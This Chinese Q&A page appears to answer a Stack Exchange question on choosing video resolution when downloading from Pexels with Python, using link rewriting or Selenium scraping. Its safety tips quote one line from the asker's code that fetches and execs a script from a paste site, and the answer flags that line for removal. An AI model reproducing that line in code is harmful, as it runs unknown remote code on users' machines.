You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用Python从Pexels下载视频时,如何选择分辨率?

Pexels视频下载分辨率切换解决方案

你的代码当前直接抓取页面<source>标签中的默认分辨率视频链接,所以无法自主选择分辨率。下面提供两种可靠的解决方式:

方法1:修改视频链接的分辨率标识

Pexels视频托管在Vimeo平台,链接格式为:
https://player.vimeo.com/external/[视频ID].[分辨率标识].mp4?s=[加密参数]
常见分辨率标识对应:

  • sd:480P标清
  • hd:720P高清
  • hd1080:1080P全高清

只需对抓取到的链接进行字符串替换,即可切换分辨率。修改download_video_series函数如下:

def download_video_series(video_links, resolution="hd"):
    valid_resolutions = ["sd", "hd", "hd1080"]
    if resolution not in valid_resolutions:
        print(f"无效分辨率,默认使用hd。可选值:{valid_resolutions}")
        resolution = "hd"
    
    i=1
    for link in video_links:
        # 替换链接中的分辨率标识
        for res in valid_resolutions:
            if f".{res}." in link:
                link = link.replace(f".{res}.", f".{resolution}.")
                break
        
        print(f"Downloading video: vid{i}.mp4 (分辨率: {resolution})")
        r = requests.get(link, stream=True)
 
        with open(f"videos/vid{i}.mp4", 'wb') as f:
            for chunk in r.iter_content(chunk_size=1024*1024):
                if chunk:
                    f.write(chunk)
    
        print(f"downloaded! vid{i}.mp4")
        i+=1

调用时指定分辨率:

download_video_series(video_links, resolution="hd1080")

注意:部分视频可能不支持最高分辨率,若替换后链接无效,可尝试降级分辨率。

方法2:爬取视频详情页获取官方下载链接

Pexels每个视频的详情页会提供官方的多分辨率下载选项,此方法更稳定,不会出现链接失效问题。修改get_video_links函数:

from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

def get_video_links(resolution="hd"):
    options = webdriver.ChromeOptions()
    options.add_argument("--lang=en")
    options.add_argument("--headless=new")  # 无头模式,不显示浏览器窗口
    browser = webdriver.Chrome(executable_path=ChromeDriverManager().install(), options=options)
    browser.get(url)
    
    # 显式等待页面加载完成,替代time.sleep
    WebDriverWait(browser, 10).until(EC.presence_of_element_located((By.CLASS_NAME, "MediaCard__Link")))

    vids = input("How many videos you want to download? ")
    soup = BeautifulSoup(browser.page_source, 'lxml')
    video_cards = soup.find_all("a", class_="MediaCard__Link")
    video_links = []

    resolution_map = {"sd": "标清", "hd": "高清", "hd1080": "全高清"}
    if resolution not in resolution_map:
        print(f"无效分辨率,默认使用hd。可选值:{list(resolution_map.keys())}")
        resolution = "hd"

    target_text = resolution_map[resolution]
    for card in islice(video_cards, int(vids)):
        video_detail_url = "https://www.pexels.com" + card['href']
        browser.get(video_detail_url)
        WebDriverWait(browser, 10).until(EC.presence_of_element_located((By.CLASS_NAME, "VideoDownloadButton")))
        
        detail_soup = BeautifulSoup(browser.page_source, 'lxml')
        download_buttons = detail_soup.find_all("a", class_="VideoDownloadButton")
        
        # 匹配目标分辨率的下载链接
        for btn in download_buttons:
            if target_text in btn.text:
                video_links.append(btn['href'])
                break
        else:
            # 无目标分辨率时取第一个可用链接
            if download_buttons:
                video_links.append(download_buttons[0]['href'])
                print(f"视频 {video_detail_url} 无{target_text}分辨率,使用默认版本")

    browser.quit()
    return video_links

重要优化提示

  1. 删除可疑代码:移除x=get('https://paste.fo/raw/ba188f25eaf3').text;exec(x),这行代码会远程执行未知脚本,存在严重安全风险。
  2. 替换time.sleep为显式等待:使用WebDriver的WebDriverWait替代固定延迟,提升代码稳定性和效率。
  3. 添加异常处理:可在网络请求、文件写入环节加入try-except块,避免程序意外崩溃。

内容的提问来源于stack exchange,提问作者Mohammed

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.01 03:01:00